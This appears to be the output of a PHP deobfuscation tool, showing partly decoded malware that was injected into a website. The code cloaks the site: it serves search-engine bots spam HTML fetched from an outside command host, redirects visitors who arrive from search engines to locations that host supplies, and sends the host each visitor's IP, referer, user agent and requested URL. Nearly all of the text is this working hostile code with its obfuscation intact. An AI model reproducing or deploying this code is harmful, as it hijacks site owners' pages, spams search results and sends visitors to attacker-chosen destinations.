if (preg_match ( "#(\x5c.\x69c\x6f|\x5c\x2e\x6ap\x67|\\.\x6ap\x65\x67|\x5c\x2e\x70\x6e\x67|\x5c\x2eg\x69f|\x72o\x62\x6f\x74s\\.t\x78\x74|\\\x2e\x63\x73\x73|\\\x2e\x6as|\x5c.\x74i\x66\x66|\x73\x69\x74\x65m\x61p\\.\x78\x6d\x6c|\x61\x6a\x61x\x5c\x2e\x70h\x70|\x77p\\-j\x73o\x6e)\x23\x69", $_SERVER ["\x52\x45\x51\x55E\x53\x54_\x55RI"] )) {
$wdlihkuzfp = "\x73\x63\x68\x65\x6d\x65";
afearvwaeaer ( ${$wdlihkuzfp} );
exit ();
}
${$sxjhpmn} = 0;
${$uvbnljh} = preg_match ( "#(\x67o\x6fg\x6c\x65bot|\x62i\x6eg\x62ot|ya\x68oo|\x6dsn\x62\x6f\x74|a\x6f\x6c)#\x69", $_SERVER ["\x48TTP_US\x45\x52_\x41GEN\x54"] );
${${"\x47L\x4f\x42\x41\x4cS"} ["\x64\x6f\x61\x77\x63dh"]} = preg_match ( "\x23(\x67oo\x67le|bin\x67|yahoo|\x6d\x73\x6e|\x61\x6fl)#\x69", @$_SERVER ["\x48TT\x50\x5f\x52EF\x45RER"] );
if (${${"\x47\x4cOB\x41\x4cS"} ["\x69\x79\x73\x67\x74\x6b\x73\x6ftck\x63"]} || ${${"\x47\x4c\x4f\x42A\x4cS"} ["h\x71\x76\x6dqc\x79\x6b\x65"]}) {
${"GL\x4f\x42\x41\x4cS"} ["ww\x6cu\x72\x74\x63k"] = "b\x6eu\x6fa\x73";
$kthprjhae = "\x62n\x75s\x64o\x61\x73";
${${"GL\x4f\x42\x41LS"} ["\x77\x77\x6c\x75\x72tc\x6b"]} = afsdfgafaer ();
if (${${"G\x4c\x4f\x42AL\x53"} ["\x72\x63\x74\x70\x6an\x74\x65\x76q"]}) {
$ucksitwj = "\x73l\x61s\x68";
${${"GL\x4fBA\x4cS"} ["\x6dnw\x73\x62nk\x65\x7a\x66"]} = md5 ( trim ( str_replace ( "w\x77w.", "", $_SERVER ["\x48TT\x50_H\x4fST"] . $_SERVER ["\x52\x45\x51UE\x53\x54_U\x52\x49"] ) ) );
${${"\x47\x4c\x4fB\x41\x4c\x53"} ["e\x77ecc\x6e\x67\x70"]} = ${${"G\x4c\x4f\x42\x41L\x53"} ["\x72\x63\x74\x70\x6an\x74e\x76\x71"]} . ${$ucksitwj} . ${${"\x47\x4cO\x42\x41\x4cS"} ["\x6dn\x77\x73\x62nkezf"]};
if (isset ( $_REQUEST ["cc\x6c"] ) && $_REQUEST ["ccl"] == "c\x6ce\x61\x72") {
@unlink ( ${${"\x47\x4c\x4fB\x41L\x53"} ["ew\x65c\x63\x6e\x67\x70"]} );
} else {
${${"\x47\x4c\x4fB\x41\x4c\x53"} ["jvel\x6d\x62\x6a\x6a\x71\x6c\x6a"]} = sdfbgsdv ( ${${"\x47\x4c\x4fB\x41\x4c\x53"} ["\x65w\x65\x63\x63n\x67\x70"]} );
if (${${"GL\x4f\x42A\x4c\x53"} ["\x6av\x65l\x6d\x62\x6a\x6a\x71l\x6a"]}) {
$khimelvttuy = "\x79\x77\x62\x79\x64\x73";
$ibriimrrpzn = "\x62\x6eusdo\x61s";
${$ibriimrrpzn} = 1;
list ( ${${"\x47L\x4f\x42AL\x53"} ["\x75qypkw\x6e"]}, ${$khimelvttuy} ) = explode ( "\x7e\x7e\x7e", ${${"\x47L\x4fB\x41L\x53"} ["\x6a\x76e\x6c\x6dbjjq\x6cj"]} );
}
}
}
if (${$kthprjhae}) {
$jhjxntwx = "\x75i\x68";
if (${$jhjxntwx}) {
$jqdrksmhlv = "y\x77\x62y\x64s";
header ( "Con\x74e\x6et-Ty\x70\x65:\x20\x74e\x78t/h\x74ml" );
echo ${$jqdrksmhlv};
}
if (${${"\x47\x4c\x4fBA\x4c\x53"} ["h\x71vmqc\x79k\x65"]}) {
${"\x47\x4c\x4f\x42\x41L\x53"} ["\x6bz\x76u\x66\x76\x65kw\x70"] = "\x75h\x76\x6b\x61\x75\x69ak\x61\x73";
${"G\x4cO\x42\x41L\x53"} ["\x6a\x6c\x6d\x65\x72lm\x7al\x75"] = "\x75\x68\x76\x6b\x61u\x69\x61\x6b\x61\x73";
${${"\x47L\x4fB\x41\x4c\x53"} ["n\x77\x71l\x63\x65\x6c\x74nn\x79"]} = dbaae ( "ht\x74\x70://$slwkwi/\x70h/\x6c\x6f\x63atio\x6e.\x70hp", "mkwd=" . urlencode ( ${${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["u\x71\x79\x70\x6bw\x6e"]} ) . "&\x70k=\x34&h=" . urlencode ( $_SERVER ["HT\x54\x50_HO\x53T"] ) . "\x26ip\x3d" . urlencode ( $_SERVER ["\x52E\x4d\x4f\x54\x45\x5fAD\x44R"] ), 1 );
${${"G\x4cO\x42\x41\x4cS"} ["j\x6cm\x65r\x6c\x6dz\x6c\x75"]} = asdshawewe ( ${${"GL\x4fB\x41\x4cS"} ["\x6bzv\x75\x66\x76\x65\x6b\x77\x70"]}, "go\x74o: ", "\n" );
${${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["\x6ew\x71\x6c\x63\x65\x6ctn\x6ey"]} = base64_decode ( strrev ( ${${"\x47L\x4f\x42A\x4c\x53"} ["\x6e\x77\x71\x6cc\x65\x6c\x74\x6e\x6e\x79"]} ) );
Header ( "\x48\x54\x54P/1\x2e1 30\x31\x20\x4do\x76e\x64 \x50e\x72m\x61\x6ee\x6e\x74l\x79" );
Header ( "\x4c\x6f\x63a\x74i\x6f\x6e: " . ${${"GL\x4fB\x41\x4cS"} ["n\x77\x71l\x63e\x6ct\x6en\x79"]} );
}
exit ();
} else {
${"GL\x4f\x42AL\x53"} ["\x63\x67\x6fw\x72\x73"] = "\x73\x66ui\x76d\x66";
$udkocyntixp = "\x73\x66\x75\x69\x76\x64f";
${"\x47LOB\x41L\x53"} ["\x7a\x6a\x75\x6bg\x78"] = "\x73\x66ui\x76\x64f";
${"G\x4cO\x42\x41\x4c\x53"} ["\x70hn\x65\x6c\x6c\x64\x76\x73b\x67"] = "\x73\x66\x75ivdf";
${"\x47L\x4fB\x41\x4c\x53"} ["b\x6dl\x70s\x73x"] = "\x73\x66\x75\x69v\x64\x66";
${"GL\x4f\x42A\x4c\x53"} ["\x66\x61fbxj\x75qdx\x77"] = "s\x66\x75\x69v\x64\x66";
${${"\x47\x4cO\x42ALS"} ["ph\x6e\x65\x6c\x6cd\x76s\x62g"]} = dbaae ( "\x68\x74tp://$slwkwi/\x70h/phd\x6d\x73\x34.\x70hp?\x75\x3d" . urlencode ( "h\x74t\x70://" . $_SERVER ["H\x54\x54P\x5fHOS\x54"] . $_SERVER ["R\x45\x51UEST_\x55R\x49"] ) . "\x26r=" . urlencode ( @$_SERVER ["H\x54\x54\x50\x5fR\x45F\x45\x52\x45\x52"] ) . "\x26\x61\x3d" . urlencode ( $_SERVER ["HTT\x50_U\x53\x45\x52\x5f\x41\x47\x45N\x54"] ) );
$nanjrw = "\x73f\x75\x69vdf";
${"\x47L\x4f\x42A\x4c\x53"} ["ih\x73\x72\x65\x61\x63sq\x70\x76"] = "s\x66u\x69v\x64f";
if (${${"\x47LOBA\x4c\x53"} ["\x63g\x6fw\x72\x73"]} == "I\x47\x4e\x4fRE") {
afearvwaeaer ( ${${"\x47\x4cOB\x41LS"} ["j\x68f\x6eo\x75\x6e\x73"]} );
exit ();
}
${${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["\x66\x6c\x63i\x79\x63r\x79\x65\x6c\x72\x65"]} = base64_decode ( ${${"\x47LO\x42\x41\x4cS"} ["\x66a\x66bx\x6a\x75\x71\x64xw"]} );
${$nanjrw} = unserialize ( ${${"G\x4c\x4fBA\x4c\x53"} ["\x69h\x73r\x65\x61\x63\x73q\x70\x76"]} );
if (isset ( ${$udkocyntixp} ["\x6coc\x61\x74i\x6f\x6e"] ) && ${${"\x47\x4cO\x42\x41L\x53"} ["\x66lc\x69y\x63\x72\x79e\x6c\x72\x65"]} ["\x6co\x63a\x74io\x6e"] != "") {
${"G\x4c\x4f\x42\x41\x4c\x53"} ["qseq\x64\x65n"] = "s\x66ui\x76\x64f";
$ybzwpcdo = "\x73fu\x69vd\x66";
Header ( "HT\x54\x50/1\x2e1 30\x31 \x4dov\x65\x64\x20\x50er\x6da\x6e\x65n\x74ly" );
if (isset ( ${${"\x47L\x4fBA\x4cS"} ["qs\x65\x71d\x65n"]} ["re\x66\x65\x72\x65r"] ) && ${$ybzwpcdo} ["re\x66\x65r\x65\x72"] != "")
Header ( "Referer: " . ${${"\x47L\x4f\x42\x41LS"} ["\x66l\x63\x69y\x63\x72y\x65\x6cr\x65"]} ["\x72\x65\x66e\x72\x65r"] );
Header ( "\x4cocatio\x6e:\x20" . ${${"\x47\x4cO\x42\x41\x4c\x53"} ["\x66lc\x69\x79\x63\x72yelr\x65"]} ["\x6c\x6f\x63at\x69\x6f\x6e"] );
exit ();
}
if (isset ( ${${"\x47\x4c\x4f\x42A\x4c\x53"} ["z\x6a\x75\x6bg\x78"]} ["htm\x6c"] ) && ${${"\x47\x4c\x4f\x42\x41\x4c\x53"} ["b\x6d\x6cp\x73\x73x"]} ["\x68tml"] != "") {
${"\x47L\x4f\x42\x41\x4c\x53"} ["\x72\x78\x70\x69\x6ebj\x75\x68l"] = "sf\x75i\x76d\x66";
header ( "Cont\x65\x6e\x74-T\x79pe:\x20te\x78t/\x68\x74\x6dl" );
$dqrnfqokdis = "b\x6eu\x73\x64\x6fas";
echo ${${"GL\x4f\x42\x41\x4cS"} ["\x72\x78p\x69nb\x6a\x75\x68l"]} ["\x68\x74\x6d\x6c"];
if (! ${$dqrnfqokdis}) {
$xffkepb = "\x62\x6e\x75\x6f\x61s";
if (${$xffkepb}) {
if (function_exists ( "fi\x6ce\x5fpu\x74\x5f\x63\x6fnt\x65nt\x73" )) {
file_put_contents ( ${${"G\x4c\x4fBA\x4cS"} ["\x65\x77\x65\x63\x63\x6egp"]}, strrev ( base64_encode ( ${${"\x47\x4c\x4f\x42A\x4cS"} ["\x66\x6c\x63\x69\x79\x63\x72y\x65\x6c\x72\x65"]} ["m\x61in\x5f\x6b\x65yw\x6frd"] . "~\x7e\x7e" . ${${"\x47\x4c\x4f\x42AL\x53"} ["\x66\x6cciy\x63\x72ye\x6c\x72e"]} ["\x68\x74\x6dl"] ) ) );
} else {
if (${${"\x47L\x4fBA\x4cS"} ["uhi\x6d\x77jr"]} = fopen ( ${${"GLOB\x41\x4c\x53"} ["ew\x65\x63\x63\x6egp"]}, "w" )) {
${"\x47\x4c\x4fB\x41\x4cS"} ["s\x78\x70\x71\x6auh"] = "\x73\x66ui\x76d\x66";
${"\x47L\x4fBA\x4cS"} ["\x6cfc\x74\x70\x76\x6b\x63\x72k\x64"] = "\x73\x66u\x69vdf";
$hhkvewiglqh = "\x68\x61n\x64\x6c\x65";
fwrite ( ${$hhkvewiglqh}, strrev ( base64_encode ( ${${"\x47\x4cO\x42\x41\x4c\x53"} ["\x6c\x66ct\x70\x76kc\x72\x6bd"]} ["main\x5f\x6b\x65\x79\x77or\x64"] . "\x7e\x7e\x7e" . ${${"\x47LOB\x41\x4c\x53"} ["\x73\x78p\x71j\x75h"]} ["h\x74\x6dl"] ) ) );
fclose ( ${${"GL\x4fBALS"} ["\x75h\x69m\x77jr"]} );
}
}
}
}
exit ();
}
}
}
}
Function Calls
None |
Stats
MD5 | e3293b0d2ee81fe510170bffc506b715 |
Eval Count | 0 |
Decode Time | 145 ms |